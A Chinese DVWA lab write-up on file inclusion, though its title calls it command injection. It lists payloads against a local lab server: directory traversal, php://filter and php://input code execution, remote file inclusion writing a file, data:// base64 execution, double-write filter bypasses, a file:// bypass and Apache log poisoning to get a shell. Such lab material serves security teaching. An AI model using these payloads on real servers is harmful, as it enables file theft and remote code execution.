DVWA靶场命令注入漏洞检测实验

一、实验原理

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。从定义当中也可以看到,文件包含漏洞存在并被利用的条件是:WEB 应用程序用 include()等文件包含函数通过动态变量的形式引入需要包含的文件,用户能够控制该动态变量。

二、实验准备

实验环境:Windows + phpstudy_Pro和PHPStudy 2018 + DVWA

实验工具:Burpsuite 、浏览器

关键配置:

修改phpstudy_Pro和PHPStudy 2018 的 php配置(php.ini):

allow_url_include = On #开启,否则远程包含和php://input无法使用

allow_url_fopen = On

修改PHPStudy 2018 的apache配置(httpd.conf):

去掉CustomLog "logs/access.log" common 前的注释

修改后重启 Apache服务。

准备测试文件

在 D:\ 盘根目录创建测试文件yourname.txt

内容为:

=== Congratulations, you have found yourname ===

三、Low 级别实验

登录 DVWA 系统。在 DVWA Security 当中选择 low 选项,并提交,然后选择 File Inclusion 菜单。Low 级别的文件包含模块没有任何过滤,可以直接利用所有包含方式。

分别点击界面的 file1.php、file2.php、file3.php,除了显示不同的内 容外,URL 中的 page 参数有所不同。此时,在 URL 中输入一个不存在 的文件,如abc.php ,将通过报错从而暴出系统的绝对路径。

测试1:目录遍历读取本地服务器中的httpd.conf文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../windows/win.ini

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpStudy\\PHPTutorial\\Apache\\conf\\httpd.conf

测试 2:绝对路径读取在 D:\ 盘根目录创建的测试文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:/yourname.txt

测试 3:php://filter 读取www中index.php文件的源码

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=C:\\phpStudy\\PHPTutorial\\WWW\\index.php

✅ 预期结果:返回一串 base64 编码字符串,解码后可得到文件内容。

解码方法: 在浏览器控制台执行atob("返回的base64字符串"),或者使用在线解码网站。

访问结果及解码后的内容截图

PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg==

测试4:php://input 执行任意代码

使用 Burp Suite 拦截后修改请求再发送:

在拦截的请求中添加需要执行的代码:

<?php system('ipconfig'); ?>

访问结果截图:

测试5:远程文件包含

构造包含远程文件的URL

在phpStudy_pro\WWW中创建文件evil.txt,模拟远程文件的地址。

文件内容为:

<?php

fwrite(fopen("evil.php","w"),

"<?php phpinfo(); ?>");

?>

设置phpStudy_pro与 phpstudy2018使用不同端口,并分别启动,访问phpStudy2018中的dvwa,在其中模拟包含远程phpstudy_pro中的文件。

参考Payload:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1:8888/evil.txt

查看phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi文件夹中是否生成文件evil.php。

然后访问http://127.0.0.1/dvwa/vulnerabilities/fi/?page=evil.php

访问结果截图:

四、Medium 级别实验

DVWA Security 设置为 Medium

Medium级源码防护逻辑

file = str_replace(array("http://", "https://", "../", "..\\\\"), "", _GET'page');

防护方式为 简单的字符串替换,只替换一次,可用双写绕过。

测试6:双写绕过 ../ 过滤

由于 str_replace 只做一次替换,构造嵌套即可:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././..././..././Windows/System32/drivers/etc/hosts

访问结果截图:

测试7:绝对路径(未被过滤)

Medium 级别没有过滤绝对路径,因此仍可直接使用:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:/Windows/System32/drivers/etc/hosts

访问结果截图:

测试8:双写绕过协议过滤

http:// 被替换,可以双写:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/index.php

访问结果截图:

测试9:php伪协议未被过滤

Medium 没有过滤 php://,因此 php://filterphp://input 和 data://仍然可用:

data:// 协议允许在 URL 中直接嵌入数据。将 PHP 代码进行 base64 编码后嵌入 URL,服务器解码并执行其中的代码,无需外部文件即可实现代码执行。

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

PD9waHAgcGhwaW5mbygpOyA/Pg== 是 <?php phpinfo(); ?> 的 base64 编码

访问结果截图:

五、High 级别实验

DVWA Security 设置为 High

源码防护逻辑

if(!fnmatch("file*", file) \&\& file != "include.php" && $file != "file1.php"

&& file != "file2.php" \&\& file != "file3.php") {

echo "ERROR: File not found!";

exit;

}

防护要求: 文件名必须以 file 开头,或者是白名单中的文件(include.php、file1.php、file2.php、file3.php)。

测试10:利用 file:// 协议绕过

fnmatch("file*", $file) 要求参数以 file 开头,而 file:// 协议恰好以 file 开头!

file:// 读取系统文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://C:/Windows/System32/drivers/etc/hosts

访问结果截图:

测试11:file:// + 日志文件包含 GetShell

步骤:

  1. 先Apache 日志注入 PHP 代码:

本次操作在phpstudy2018中进行。

打开Burpsuite,开启拦截,浏览器中发送一个请求,URL为:

http://127.0.0.1/\<?php phpinfo(); ?>

修改拦截的请求,使用Ctrl+Shift+U,对转码后的<?php phpinfo(); ?>再次转码,再放行。

转码后的结果截图。

  1. 查看 Apache 日志

路径:为C:\phpStudy\PHPTutorial\Apache\logs\access.log

日志内容截图:

  1. 利用 file:// 协议包含日志:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/Apache/logs/access.log

访问结果截图:

相关推荐
砍材农夫1 小时前
物联网 基于netty核心实战-安全tls
java·开发语言·前端·物联网·安全
KaMeidebaby2 小时前
卡梅德生物技术快报|免疫共沉淀 - Co-IP 实验在转录因子 ATF3/Smad4 蛋白互作研究中的应用实例解析
网络·人工智能·网络协议·tcp/ip·其他·算法·新浪微博
林熙蕾LXL2 小时前
IPC使用套接字进程通讯
网络
无风听海2 小时前
构建现代 Web 应用的令牌安全体系:Refresh Token Rotation、HttpOnly Cookie 与 Grace Period 全解析
前端·安全
宋浮檀s2 小时前
应急响应——Web高危漏洞应急(SQL注入+XSS跨站+文件上传)
前端·网络·安全·web安全·xss
阿部多瑞 ABU2 小时前
一次针对大语言模型的“虚构历史前提注入”红队测试实录:当AI相信了不存在的对话历史
网络·人工智能·安全
aaaffaewrerewrwer3 小时前
一个真正“完全浏览器本地运行”的 AVIF 转 WebP 在线工具(无需上传)
安全·个人开发
ylscode11 小时前
PureLogs 信息窃取恶意软件惊现高危变种:借道 MsBuild.exe 进程空心化实施无痕攻击
网络·安全·安全威胁分析
IPHWT 零软网络11 小时前
MX60E-A信创级智能语音网关技术实现与架构分析
网络·网络安全·国产自研·技术实现·智能语音网关·政企通信·信创技术